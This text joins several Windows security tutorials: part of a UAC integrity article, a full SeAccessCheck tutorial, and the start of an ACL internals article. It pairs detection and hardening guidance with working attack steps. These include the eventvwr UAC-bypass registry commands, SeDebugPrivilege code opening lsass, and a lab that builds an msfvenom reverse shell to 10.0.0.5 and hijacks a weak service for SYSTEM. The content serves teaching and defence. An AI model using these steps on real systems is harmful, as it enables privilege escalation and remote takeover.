3Confirm registry hijack surface existsreg query HKCR\mscfile\shell\open\command (exists) vs reg query HKCU\Software\Classes\mscfile (does not)
4Poison the HKCU keyreg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "cmd.exe" /f
5TriggerStart-Process eventvwr.exe
6ObserveNew cmd.exe window pops. Inside it: whoami /groups \| findstr Mandatory -> High Mandatory Level. No consent prompt fired.
7Clean upreg delete "HKCU\Software\Classes\mscfile" /f

The same pattern with different registry paths gives you fodhelper.exe (HKCU\Software\Classes\ms-settings\shell\open\command) and sdclt.exe (HKCU\Software\Classes\Folder\shell\open\command), among others. The details rotate; the shape does not.

What is actually happening at the token level: eventvwr.exe is auto-elevated by AIS, so it starts at High. It then calls ShellExecute on the poisoned command. ShellExecute calls CreateProcess from a High-IL parent, and the child inherits min(High, executable_IL) = High. No API is being bypassed. The design assumed the binary would only ever resolve to mmc.exe, and the design was wrong.

The general primitive here is T1548.002. The register-a-user-controlled-COM-elevation variants (ICMLuaUtil, IColorDataProxy, and cousins) are the same idea one level of indirection deeper: instead of hijacking a registry command string, you hijack a COM elevation moniker that an already-elevated broker will invoke.


Flow diagram tracing the eventvwr UAC bypass from registry key poisoning through auto-elevation to a High integrity level child process
The auto-elevation bypass never calls consent.exe – it poisons a HKCU registry lookup so an already-trusted Microsoft binary spawns the attacker’s payload at High IL.

11. Detection, Defense, and Hardening

11.1 Sysmon signals

EIDField of interestWhat you catch
1 (Process Create)IntegrityLevel, ParentImage, Image, CommandLineA High-IL child of an auto-elevator whose Image is not the expected legit helper
13 (RegistryEvent SetValue)TargetObject, DetailsWrites to HKCU\Software\Classes\{mscfile,ms-settings,Folder}\shell\open\command from a medium-IL process
10 (ProcessAccess)TargetImage, GrantedAccess, CallTraceCross-IL OpenProcess attempts against higher-IL processes

11.2 Windows Security log

EIDNotes
4688Enable “Include command line in process creation events.” Check the Token Elevation Type value: %%1936 Default, %%1937 Full, %%1938 Limited
4672Fires when a new logon receives sensitive privileges. Any 4672 outside your expected admin session is worth a look
4703Privilege enable/disable on a token. SeDebugPrivilege enabling from an unexpected process is the classic signal
4674Operation attempted on a privileged object. Noisy, filter aggressively

11.3 A Sigma rule that actually catches the eventvwr pattern

title: UAC Bypass via HKCU Shell Open Command Hijack
id: 6e3f2b21-9c1e-46a1-88a0-9c1b62a5c5f1
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  reg_write:
    EventID: 13
    TargetObject|contains:
      - '\Software\Classes\mscfile\shell\open\command'
      - '\Software\Classes\ms-settings\shell\open\command'
      - '\Software\Classes\Folder\shell\open\command'
  condition: reg_write
falsepositives:
  - Legitimate installers registering file associations (rare under HKCU)
level: high
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548.002

Pair it with a second rule keying off Sysmon EID 1: parent is eventvwr.exe/fodhelper.exe/sdclt.exe/ComputerDefaults.exe, IntegrityLevel is High, and the child image is anything other than the expected legitimate helper. That second rule is the one that catches operators who cleaned up the registry key before you got to it.

11.4 ETW providers worth wiring up

  • Microsoft-Windows-Security-Auditing (feeds the Security log)
  • Microsoft-Windows-Kernel-Process with the ProcessStart keyword (early, kernel-level process creation with token info)
  • Microsoft-Windows-UAC (elevation requests, outcomes, whether Secure Desktop was used)
  • Microsoft-Windows-Kernel-Audit-API-Calls (surfaces NtSetInformationToken when configured)

11.5 Hardening

ControlWhereEffect
ConsentPromptBehaviorAdmin = 2 (Always Notify)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemKills auto-elevation. Every High-IL launch shows Secure Desktop consent. This alone breaks 90% of the T1548.002 catalog
FilterAdministratorToken = 1Same keyEnrolls the built-in RID-500 Administrator in UAC. Without this, Administrator bypasses the whole model
EnableSecureUIAPaths = 1Same keyRejects auto-elevation for binaries outside protected system paths
Protected Users groupADMembers’ tokens cannot be delegated or elevated further; useful for tier-0 accounts
AppLocker/WDAC block on unused auto-elevatorsPolicyIf your fleet never runs fodhelper.exe interactively, block it. Removes an entire class of primitives
GPO: process creation with command lineComputer Config -> Advanced Audit Policy -> Detailed TrackingMakes 4688 actually useful

The single highest-value control is ConsentPromptBehaviorAdmin = 2. Set it on your admin workstations and most of the “no-prompt auto-elevation” family stops working, because the auto-elevation path is what those techniques exploit. You pay a UX tax. It is worth it.


12. Tools for MIC Analysis

ToolDescription
Process ExplorerAdd the Integrity Level column to see every process’s IL at a glance
Process HackerToken tab exposes IL, mandatory policy flags, and TokenElevationType
whoami /groupsShows the current shell’s IL group entry
icaclsView and set SYSTEM_MANDATORY_LABEL_ACE on files and directories
AccessChk (Sysinternals)accesschk.exe -e <path> prints explicit integrity labels only
sigcheck (Sysinternals)-m dumps the embedded manifest, useful for confirming autoElevate
SysmonEID 1 IntegrityLevel, EID 10 cross-IL access, EID 13 registry poisoning
WinDbg!token on a _EPROCESS shows the IL SID and mandatory policy

13. MITRE ATT&CK Mapping

TechniqueIDDetection anchor
Abuse Elevation Control MechanismT1548Any child with IntegrityLevel higher than parent, without a paired consent.exe invocation
Abuse Elevation Control Mechanism: Bypass UACT1548.002Sysmon EID 13 on the shell-open-command HKCU paths, plus EID 1 with auto-elevator parent and unexpected child
Access Token ManipulationT1134NtSetInformationToken via ETW, or 4703 privilege adjustments on unexpected processes
Access Token Manipulation: Create Process with TokenT1134.0024688 showing CreateProcessAsUser/CreateProcessWithTokenW from non-service parents
Process InjectionT1055EID 10 with cross-IL OpenProcess grants like 0x1FFFFF against higher-IL targets

Summary

  • MIC is a mandatory, always-on labeling layer that runs before DACL evaluation and enforces a Biba-style no-write-up rule between subjects and objects.
  • Integrity lives in two places: the subject’s token (as a TOKEN_GROUPS entry flagged SE_GROUP_INTEGRITY) and the object’s SACL (as a SYSTEM_MANDATORY_LABEL_ACE), with unlabeled objects defaulting to Medium.
  • Process creation clamps children to min(parent IL, executable IL), and user-mode code can only lower the IL of a token it duplicates, never raise it.
  • UAC’s split-token model gives admins a filtered Medium token by default; auto-elevating signed binaries are the seam that T1548.002 techniques (eventvwr, fodhelper, sdclt, COM elevation) pry open without ever calling consent.exe.
  • Detect via Sysmon EID 13 on HKCU\Software\Classes\...\shell\open\command, EID 1 on High-IL children of auto-elevators, and Security 4688 with token elevation type; harden with ConsentPromptBehaviorAdmin=2 and FilterAdministratorToken=1.

Related Tutorials

References

The Windows Access Check Algorithm: How SeAccessCheck Works

Objective: Trace the kernel-mode access check from a thread’s DesiredAccess request through ObCheckObjectAccess into SeAccessCheck, understand exactly how the DACL is evaluated against the caller’s token, and learn why Windows grants or denies access to any securable object – then weaponize a weak DACL in a lab and watch the defender catch it.


Every time a thread touches a securable object – a file, a registry key, a process, a service – the same question gets asked in the kernel: can this identity get this access to this object? That question has exactly one authoritative answer, and it comes out of one routine. Learn SeAccessCheck properly and most of Windows privilege escalation stops being magic and starts being arithmetic.

1. The Security Reference Monitor and Where SeAccessCheck Lives

The Security Reference Monitor (SRM) is the executive component, living inside ntoskrnl.exe, that owns the access check algorithm. The convention is simple and worth internalizing: routines that talk directly to the SRM carry the Se prefix. SeAccessCheck is the canonical one.

The model the SRM enforces is an equation with three inputs: the security identity of a thread, the access that thread wants, and the security settings of the object. Everything in this article is just those three things colliding.

SeAccessCheck does not stand alone. A couple of internal routines matter for understanding the call graph and the bypasses:

FunctionRole
ObCheckObjectAccessObject Manager routine that captures the subject context and invokes SeAccessCheck. Takes the object’s security info, the thread identity, and the requested access; returns TRUE or FALSE.
SeAccessCheckThe decision routine. Walks the DACL, applies privileges, returns GrantedAccess and AccessStatus.
SeAccessCheckWithHintWithAdminlessChecksCalled by SeAccessCheck; where privilege-based bypasses are resolved.
EvaluateTokenAgainstDescriptorThe MS-DTYP pseudocode reference name for the core ACE evaluation loop ([MS-DTYP] section 2.5.3).

2. The Three Inputs: Token, Security Descriptor, Desired Access

The access token is the security identity. It carries the user SID, group SIDs, an integrity level, the privilege array, and optionally a set of restricted SIDs. When a thread is impersonating, the impersonation token is used; otherwise the process primary token.

The security descriptor is the object’s security settings. The pieces that matter to the check are the Owner SID, the DACL (the list of allow/deny ACEs), and the control flags that say whether a DACL is even present. The SACL governs auditing, not access.

The desired access is an ACCESS_MASK: a 32-bit bitmask of the rights the caller wants. The top bits are generic (GENERIC_READ, GENERIC_WRITE, GENERIC_EXECUTE, GENERIC_ALL) and the special bits include MAXIMUM_ALLOWED, ACCESS_SYSTEM_SECURITY, and the standard rights like WRITE_DAC and WRITE_OWNER. Generic bits are meaningless to the comparison until they are mapped to object-specific bits via the object type’s GENERIC_MAPPING.


3. From OpenProcess to SeAccessCheck: The Full Call Path

Take a concrete request: a thread calls OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid). The path into the kernel looks like this:

OpenProcess (user mode)
  -> NtOpenProcess
    -> PsOpenProcess
      -> ObOpenObjectByPointer
        -> ObCheckObjectAccess
          -> SeAccessCheck   <-- the decision
        -> (on success) handle is created in the process handle table

ObCheckObjectAccess does the bookkeeping. It captures the caller’s subject context, then calls SeAccessCheck. Progress is tracked through an ACCESS_STATE structure, whose PreviouslyGrantedAccess and RemainingDesiredAccess members record what has already been granted (for instance, rights conferred by a held privilege) and what is still being asked for. If the check passes, the Object Manager allocates a handle and stamps it with the GrantedAccess mask. That mask, not the original request, is what every later operation on the handle is validated against.


Flowchart showing the call path from user-mode OpenProcess down through [NtOpenProcess](https://genxcyber.com/windows-syscalls-ssdt-user-mode-to-kernel/), ObCheckObjectAccess, and into SeAccessCheck, ending with handle creation stamped with GrantedAccess.
Every handle open in Windows funnels through this path; SeAccessCheck is the sole decision point.

4. The SeAccessCheck Signature, Parameter by Parameter

Here is the kernel signature exactly as the WDK declares it:

BOOLEAN SeAccessCheck(
  [in]  PSECURITY_DESCRIPTOR      SecurityDescriptor,
  [in]  PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
  [in]  BOOLEAN                   SubjectContextLocked,
  [in]  ACCESS_MASK               DesiredAccess,
  [in]  ACCESS_MASK               PreviouslyGrantedAccess,
  [out] PPRIVILEGE_SET            *Privileges,
  [in]  PGENERIC_MAPPING          GenericMapping,
  [in]  KPROCESSOR_MODE           AccessMode,
  [out] PACCESS_MASK              GrantedAccess,
  [out] PNTSTATUS                 AccessStatus
);
ParameterTypePurpose
SecurityDescriptorPSECURITY_DESCRIPTORThe object’s owner, group, DACL, and SACL.
SubjectSecurityContextPSECURITY_SUBJECT_CONTEXTOpaque struct capturing the caller’s primary and impersonation tokens.
SubjectContextLockedBOOLEANWhether the subject context is already locked, so it is not locked twice.
DesiredAccessACCESS_MASKRights the caller is attempting to acquire.
PreviouslyGrantedAccessACCESS_MASKRights already granted, e.g. from holding a privilege.
PrivilegesPPRIVILEGE_SET*Receives the PRIVILEGE_SET used during validation; release with SeFreePrivileges.
GenericMappingPGENERIC_MAPPINGMaps generic rights to object-specific rights before ACE comparison.
GrantedAccessPACCESS_MASKOut: the access actually granted.
AccessStatusPNTSTATUSOut: the status to return. If the routine returns FALSE, use this value rather than hardcoding STATUS_ACCESS_DENIED.

That last point is a real gotcha. The routine can fail for reasons other than denial – a malformed descriptor, for example – and blindly returning STATUS_ACCESS_DENIED will mislead callers up the stack.


5. The ACE Evaluation Algorithm, Step by Step

Strip away the wrappers and the algorithm is a single loop over the DACL. MS-DTYP calls the reference implementation EvaluateTokenAgainstDescriptor. The mental model:

  1. Map any generic bits in DesiredAccess through the GENERIC_MAPPING.
  2. Initialize a RemainingAccess mask to the (mapped) DesiredAccess, minus anything in PreviouslyGrantedAccess.
  3. Walk the DACL in order, one ACE at a time:
    – If the ACE’s SID is not present in the token’s authorization context, skip it.
    – If it is an access-allowed ACE, clear those rights from RemainingAccess.
    – If it is an access-denied ACE and any of its rights are still in RemainingAccess, the entire request is denied immediately.
  4. When the loop ends: if RemainingAccess is zero, every requested right was satisfied, so access is granted. If any bit remains, the request is denied.
StepConditionEffect
SID not in tokenACE SID absent from authorization contextACE skipped
Allow ACE matchesSID present, allowClear matched bits from RemainingAccess
Deny ACE matchesSID present, deny, bit still pendingWhole request denied, stop
Loop endRemainingAccess == 0Granted
Loop endRemainingAccess != 0Denied

The subtle implication: a denied right is final the instant it is hit, but a granted right only “counts” if nothing later (or earlier, depending on order) revokes it. Which makes ordering everything.


Flowchart of the DACL ACE evaluation loop showing how each ACE is tested against the token's SIDs, with deny ACEs causing immediate termination and allow ACEs clearing bits from RemainingAccess until it reaches zero.
The access check is a single ordered loop – a deny hit ends it instantly, and access is granted only when every requested bit has been cleared.

6. ACE Ordering, NULL DACLs, and Empty DACLs

ACEs are processed in the order they appear in the DACL. Explicit ACEs assigned directly to the object come first, then inherited ACEs, and within inherited ACEs the parent’s come before the grandparent’s, walking up the tree. The well-known “canonical order” places deny ACEs before allow ACEs precisely so that a deny is evaluated before a competing allow. If a tool writes an allow ACE ahead of a deny ACE for the same SID and right, the allow wins, because the loop terminates on first satisfaction. Order is policy.

Two cases trip up almost everyone:

  • NULL DACL. If the DACL pointer is null (the descriptor says “DACL present” but the pointer is NULL), all access is granted to everyone. There is no ACE to fail against.
  • Empty DACL. A DACL that is present but contains zero ACEs grants nothing to anyone. The loop ends with RemainingAccess still set, so every request is denied.

I once watched someone “lock down” a named pipe by handing it an empty DACL and then spend an afternoon wondering why even SYSTEM could not open it. The fix they reached for – swapping in a NULL DACL – did the opposite of hardening. Two descriptors that look almost identical in code produce polar-opposite security. Know which one you are building.


7. Mandatory Integrity Control: The Pre-DACL Gate

Before the DACL is ever walked, Mandatory Integrity Control (MIC) runs. It is checked first because it is cheaper than a full ACE traversal, and it can deny outright.

Each token has an integrity level (Low, Medium, High, System). Each object can carry a mandatory label ACE with its own integrity level and a policy. The default policy is no-write-up: a process can open an object for write access only if its integrity level is equal to or higher than the object’s, and the DACL also grants the access. A Low-integrity process cannot open a Medium-integrity process for write, even if the DACL would have allowed it. There are also no-read-up and no-execute-up variants set by the label.

This is why a sandboxed (Low IL) browser renderer cannot scribble into Medium-integrity user files even when the file DACL nominally permits the user: MIC vetoes the write before the DACL is consulted.


Illustration of a four-tiered fortress with ascending integrity levels, a figure blocked by an invisible barrier from reaching higher tiers, representing Mandatory Integrity Control preventing write-up.
MIC enforces the no-write-up policy as a pre-DACL gate – a Low-integrity process is blocked before any ACE is ever consulted.

8. Privilege Checks Inside SeAccessCheck

Some access decisions are settled by privilege, not by ACEs. SeAccessCheck may perform privilege tests depending on the requested rights:

  • SeTakeOwnershipPrivilege can grant WRITE_OWNER regardless of the DACL.
  • SeSecurityPrivilege is required to obtain ACCESS_SYSTEM_SECURITY (the SACL).
  • The routine may also check whether the caller is the object owner to grant READ_CONTROL or WRITE_DAC.

Two important nuances. If MAXIMUM_ALLOWED is set in DesiredAccess, the routine performs all DACL checks but does not perform privilege checks unless the caller explicitly sets ACCESS_SYSTEM_SECURITY or WRITE_OWNER. And the privilege tests can change between releases.

SeDebugPrivilege is the big one. Holding it bypasses MIC and the ACE checks (both discretionary and conditional) entirely – which is exactly why it grants PROCESS_ALL_ACCESS to processes you would otherwise be denied. What it does not bypass: protected-process checks and third-party pre-operation callbacks (the kind EDR registers via ObRegisterCallbacks).

Here is a self-contained demo that shows the difference. Run it once as a normal user, then elevated, against a process you do not own:

#include <windows.h>
#include <stdio.h>

BOOL EnablePriv(LPCWSTR priv) {
    HANDLE hTok; TOKEN_PRIVILEGES tp; LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok)) return FALSE;
    if (!LookupPrivilegeValueW(NULL, priv, &luid)) { CloseHandle(hTok); return FALSE; }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL ok = AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
    return ok && GetLastError() == ERROR_SUCCESS;
}

int wmain(int argc, wchar_t **argv) {
    if (argc < 2) { wprintf(L"usage: dbgopen <pid>\n"); return 1; }
    DWORD pid = _wtoi(argv[1]);

    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    wprintf(L"Before priv: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
    if (h) CloseHandle(h);

    if (!EnablePriv(L"SeDebugPrivilege")) {
        wprintf(L"Could not enable SeDebugPrivilege (need elevation)\n"); return 1;
    }

    h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    wprintf(L"After SeDebugPrivilege: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
    if (h) CloseHandle(h);
    return 0;
}

Pointing this at the lsass.exe PID shows the DENIED to OPENED flip the instant the privilege is enabled. Note that this same open is the single highest-signal detection event on the system, which we cover in Section 12.


9. Restricted Tokens and the Double-Pass

CreateRestrictedToken produces a token with restricting SIDs. When such SIDs are present, the access check is run twice: once with the normal SID set, and again using only the restricting SIDs. Access is granted only if both passes succeed. This is how sandboxes (and parts of UAC’s filtered administrator token) achieve “you are still this user, but you cannot touch most of what this user could.” The DACL has not changed; the token has been narrowed, and the second pass intersects the result.


10. User-Mode AccessCheck and the AuthZ API

The kernel routine has a user-mode twin: the AuthZ API AccessCheck. Applications use it to make the same decisions transparently, plus AuthzAccessCheck and GetEffectiveRightsFromAcl for richer scenarios. This is the easiest way to see the algorithm without a debugger. The following program builds a security descriptor from SDDL, grabs the caller’s token, and asks for effective rights:

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int main(void) {
    PSECURITY_DESCRIPTOR pSD = NULL;
    // Owner SYSTEM, allow GENERIC_ALL to BUILTIN\Users (BU)
    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
            L"O:SYG:SYD:(A;;GA;;;BU)", SDDL_REVISION_1, &pSD, NULL)) {
        printf("SDDL parse failed: %lu\n", GetLastError()); return 1;
    }

    ImpersonateSelf(SecurityImpersonation);
    HANDLE hTok = NULL;
    OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hTok);

    GENERIC_MAPPING gm = {
        STANDARD_RIGHTS_READ, STANDARD_RIGHTS_WRITE,
        STANDARD_RIGHTS_EXECUTE, STANDARD_RIGHTS_ALL
    };

    DWORD desired = GENERIC_READ | GENERIC_WRITE;
    MapGenericMask(&desired, &gm);

    PRIVILEGE_SET ps; DWORD psLen = sizeof(ps);
    DWORD granted = 0; BOOL ok = FALSE;

    if (AccessCheck(pSD, hTok, desired, &gm, &ps, &psLen, &granted, &ok))
        printf("GrantedAccess=0x%08lx  access=%d\n", granted, ok);
    else
        printf("AccessCheck failed: %lu\n", GetLastError());

    RevertToSelf();
    CloseHandle(hTok);
    LocalFree(pSD);
    return 0;
}

For interactive DACL spelunking, James Forshaw’s NtObjectManager module is unmatched:

Import-Module NtObjectManager

# Effective rights for the current token on a file
Get-NtGrantedAccess -Path "\??\C:\Temp\secret.dat"

# Compute granted access for a token against an arbitrary SDDL descriptor
Get-NtGrantedAccess -SecurityDescriptor "O:SYG:SYD:(A;;GA;;;BU)" -Type File

# Walk a live process object's DACL
$p = Get-NtProcess -ProcessId (Get-Process lsass).Id -Access QueryLimitedInformation
Get-NtSecurityDescriptor $p | Select-Object -ExpandProperty Dacl

11. Abusing the Access Check: Weak Service DACL to SYSTEM (Lab)

The most common way the access check bites defenders is not a bug in the algorithm. It is an object handed a DACL that grants too much. Service objects are the classic offender. We will build one, audit it as a standard user, and ride it to SYSTEM.

Run everything in this section against a self-built, isolated lab VM only. The setup script intentionally creates a vulnerable service.

Lab Setup (run elevated, once)

# Create a demo service
sc.exe create VulnSvc binPath= "C:\Windows\System32\cmd.exe /c rem" start= demand

# Intentionally weak: grant Authenticated Users (AU) full service access,
# including DC (SERVICE_CHANGE_CONFIG) and RP (SERVICE_START)
sc.exe sdset VulnSvc "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)"

Recon as labuser (standard user)

# Which services can Authenticated Users modify?
accesschk.exe -uwcqv "Authenticated Users" *

# Read the raw SDDL and decode it
sc.exe sdshow VulnSvc
ConvertFrom-SddlString ((sc.exe sdshow VulnSvc) -join "").Trim()

accesschk flags VulnSvc with SERVICE_CHANGE_CONFIG and SERVICE_START for our group. In SDDL terms, the AU ACE contains DC (change config) and RP (start). That pairing is game over: change the binary, then start the service. The SCM starts it as LocalSystem.

Build the Payload (attacker box)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o revshell.exe
nc -lvnp 4444

Copy revshell.exe to C:\Temp\ on the lab VM.

Trigger as labuser

:: labuser holds SERVICE_CHANGE_CONFIG, so ChangeServiceConfig succeeds
sc.exe config VulnSvc binPath= "C:\Temp\revshell.exe"

:: labuser holds SERVICE_START, so the SCM launches the new binary as SYSTEM
sc.exe start VulnSvc

The listener catches a shell running as NT AUTHORITY\SYSTEM. No memory corruption, no shellcode tricks – just a DACL that said yes to the wrong SID.

Watch the Check in WinDbg

To see the kernel decision behind the SCM’s calls, attach a kernel debugger to the VM and break on the routine:

kd> bp nt!SeAccessCheck
kd> g
Breakpoint 0 hit
nt!SeAccessCheck:
kd> r r9          ; x64: 4th arg (DesiredAccess) lands in R9
kd> kb            ; confirm the caller is the SCM resolving SERVICE_START

You will see DesiredAccess carrying the service start bit, the DACL walk clearing it against the AU allow ACE, and GrantedAccess coming back with that bit set. The algorithm did precisely what it was told.


12. Detection, Auditing, and Hardening

None of this is invisible. The access check and its abuse leave a clear trail if auditing is configured.

Windows Security Event IDs

Event IDChannelFires when
4656SecurityA handle to an object was requested (rights requested, not yet used).
4663SecurityAn attempt was made to access an object. Requires a matching SACL ACE; success only, shows the right was used.
4670SecurityPermissions on an object were changed (DACL/SACL modified).
4672SecuritySpecial privileges assigned to new logon (catches SeDebugPrivilege).
4907SecurityAuditing settings on an object changed (SACL tamper).
4719SecuritySystem audit policy changed.
7045SystemNew service installed.

4663 only fires when the object’s SACL carries the relevant ACE, so SACL configuration is a prerequisite, not a default. It also has no failure variant: it confirms a right was exercised, not merely requested.

Sysmon Event IDs

Sysmon EIDCapture target
10 (ProcessAccess)Handle opens against lsass.exe and other sensitive processes, with the requested access mask.
13 (RegistryValue Set)Writes to HKLM\SYSTEM\CurrentControlSet\Services\*\ImagePath.
11 (FileCreate)Payloads dropped into writable service paths.

For the SeDebugPrivilege demo from Section 8, the pairing is Sysmon Event ID 10 showing the LSASS handle open with PROCESS_VM_READ plus Security Event ID 4672 recording the sensitive privilege on logon. Where kernel SACLs are impractical, Sysmon EID 10 is the better LSASS tripwire because it logs every opener and its access mask.

Audit Policy Prerequisites

auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable

Sigma: Service DACL Modified to Grant Broad Access

title: Service DACL Modified to Grant Permissive Access
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4670
    ObjectType: 'Service Object'
    NewSd|contains:
      - 'WD)'   # World / Everyone
      - 'BU)'   # BUILTIN\Users
      - 'AU)'   # Authenticated Users
  condition: selection
level: high

Useful Sigma fields: EventID, ObjectName, ObjectType, OldSd, NewSd, SubjectUserSid, SubjectLogonId, AccessMask, ProcessName. The Microsoft-Windows-Security-Auditing provider ({54849625-5478-4994-A5BA-3E3B0328C30D}) carries all the Security events above.

Hardening

  • Never ship a NULL DACL. Build an explicit, minimal DACL with SetSecurityDescriptorDacl and a real ACE list.
  • Keep deny ACEs ahead of allow ACEs so the first matching ACE makes the intended decision.
  • Tighten service descriptors with sc.exe sdset, removing DC/RP from non-admin SIDs.
  • Least privilege everywhere so attackers cannot harvest tokens from privileged processes.
  • Restrict token rights: Create a Token Object to Local System only; Replace a Process Level Token to Local and Network Service.
  • Put SACLs on the crown jewels (LSASS, the SAM hive, NTDS.dit, sensitive keys) so access produces auditable events.
  • Run accesschk.exe on a schedule to catch world-writable services, keys, and paths before an attacker does.

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Access Token ManipulationT11344672, token-related logon anomalies
Token Impersonation/TheftT1134.001Sysmon 10, abnormal DuplicateTokenEx usage
Make and Impersonate TokenT1134.003LogonUser/SetThreadToken from non-service code
SID-History InjectionT1134.005DC replication / SID anomalies
File and Directory Permissions ModificationT12224670, 4907
Windows File/Directory Permissions ModificationT1222.001icacls/cacls/takeown/sc sdset process events
Services Registry Permissions WeaknessT1574.0117045, Sysmon 13 on ImagePath, 4670 on service objects

Illustration of a server rack with a surveillance eye as its front panel, watching ghostly icons of keys, broken locks, and service gears - representing Windows audit logging catching weak DACL abuse.
Every DACL modification, privileged logon, and sensitive handle open leaves a traceable event – auditing turns the access check into a detection surface.

13. Tools for Access-Check Analysis

ToolDescriptionLink
AccessChkEnumerate effective rights on services, keys, files, processeslive.sysinternals.com
NtObjectManagerPowerShell Get-NtGrantedAccess/DACL walkinggithub.com
WinObjBrowse the object namespace and per-object securitylive.sysinternals.com
Process HackerInspect token SIDs, privileges, integrity, handle access masksprocesshacker.sourceforge.io
WinDbgbp nt!SeAccessCheck, inspect ACCESS_STATE and parameterslearn.microsoft.com
SysmonProcessAccess/Registry/FileCreate telemetrylive.sysinternals.com
sc.exeRead/write service SDDL (sdshow/sdset)built-in

Summary

  • SeAccessCheck is the one routine that decides every securable-object access decision in Windows, comparing the caller’s token to the object’s DACL for the requested ACCESS_MASK.
  • The algorithm is a single ordered DACL walk: matching deny ACEs end it immediately, matching allow ACEs clear bits, and access is granted only when no requested bit remains.
  • A NULL DACL grants everyone everything; an empty DACL denies everyone – two descriptors that look almost identical and behave oppositely.
  • MIC runs before the DACL, privileges like SeDebugPrivilege bypass MIC and ACE checks but not protected-process or callback checks, and restricted tokens force a second intersecting pass.
  • Weak object DACLs (a writable service is the textbook case) turn the access check from a guard into a privilege-escalation primitive – detect it with Security 4670/7045, Sysmon 10/13, and SACL-driven 4663, and harden by never shipping permissive or NULL DACLs.

Related Tutorials

References

ACLs, DACLs, and SACLs: Access Control Internals

Most Windows privilege escalation I see in engagements doesn’t come from a kernel CVE. It comes from a misconfigured DACL on a service registry key, an SDDL string a developer typed wrong in 2014 that no one ever audited, or a security product whose own ACL the attacker rewrote five minutes after landing SYSTEM. Access control in Windows is not a guardrail; it’s a programmable kernel structure with a wire format, and the moment you can read and write that structure, the rules become negotiable.

Objective: Understand the kernel-level data structures that drive every Windows access check – SECURITY_DESCRIPTOR, ACL, and the ACE taxonomy – and use that model to read, write, attack, and detect access-control changes on real objects (files, registry keys, services, AD objects).


1. The Access Control Model and the Security Reference Monitor

Every named kernel object in Windows is securable: files, registry keys, processes, threads, named pipes, services, jobs, AD objects, even thread tokens. When you call OpenProcess, CreateFile, RegOpenKeyEx, or OpenSCManager, the call funnels through the Object Manager, which hands the access decision to the Security Reference Monitor (SRM). The SRM compares your token against the object’s security descriptor and either gives you a handle with the rights you asked for, denies you, or grants a subset.

The kernel function doing the work is SeAccessCheck in ntoskrnl.exe. User mode reaches it through NtAccessCheck, which sits behind the advapi32 wrapper AccessCheck. Every handle open you have ever seen in Process Monitor passed through this code path.

You cannot defend, audit, or attack this layer without knowing the on-disk layout of a security descriptor. Almost every post-exploitation primitive that doesn’t involve a kernel exploit – WriteDACL abuse, service hijack, EDR neutering, audit suppression – is just editing the bytes you’re about to learn.


2. Security Descriptor Anatomy

The SECURITY_DESCRIPTOR is the on-object container for ownership, access control, and auditing.

FieldSizeDescription
Revision1 byteStructure revision; must be SECURITY_DESCRIPTOR_REVISION (1)
Sbz11 byteReserved / alignment
Control2 bytes (WORD)Bitmask of control flags
OffsetOwner4 bytesOffset to owner SID
OffsetGroup4 bytesOffset to primary group SID (POSIX compat – not used by the Windows access check)
OffsetSacl4 bytesOffset to the SACL (audit ACEs + integrity label)
OffsetDacl4 bytesOffset to the DACL (allow/deny ACEs)

Security descriptors exist in two forms. Absolute stores owner/group/SACL/DACL as pointer fields – useful in memory when you’re constructing one piece by piece. Self-relative packs everything into one contiguous block and treats the four Offset* fields as offsets from the start of the structure. Self-relative is what gets persisted: NTFS streams, the registry, nTSecurityDescriptor in AD, RPC payloads. If you’re ever staring at a hex dump trying to figure out where the DACL starts, you’re reading a self-relative descriptor; add OffsetDacl to the base of the structure and you’re at the ACL header.

Key Control flags worth memorising:

FlagValueMeaning
SE_DACL_PRESENT0x0004A DACL is present (set means “check ACL”; cleared means “no security defined”)
SE_SACL_PRESENT0x0010A SACL is present
SE_DACL_PROTECTED0x1000DACL blocks inheritance from parent containers
SE_SACL_PROTECTED0x2000Same, for the SACL
SE_SELF_RELATIVE0x8000Descriptor is in self-relative format

The SE_*_PRESENT flags are the entire basis of the NULL-vs-empty ACL gotcha in §3.


3. ACL Structure and ACE Types

DACL and SACL share the same physical layout – same header, same ACE encoding. Only their semantics differ: a DACL grants/denies, a SACL audits.

FieldSizeDescription
AclRevision1 byteACL_REVISION (2) for basic ACEs; ACL_REVISION_DS (4) for AD object ACEs
Sbz11 byteReserved
AclSize2 bytesTotal ACL size in bytes, including all ACEs
AceCount2 bytesNumber of ACEs
Sbz22 bytesReserved

Immediately after the header, ACEs are packed back-to-back. Each ACE starts with an ACE_HEADER:

typedef struct _ACE_HEADER {
    BYTE  AceType;     // ACCESS_ALLOWED_ACE_TYPE, ACCESS_DENIED_ACE_TYPE, ...
    BYTE  AceFlags;    // OBJECT_INHERIT_ACE, CONTAINER_INHERIT_ACE, etc.
    WORD  AceSize;     // total ACE length in bytes
} ACE_HEADER, *PACE_HEADER;

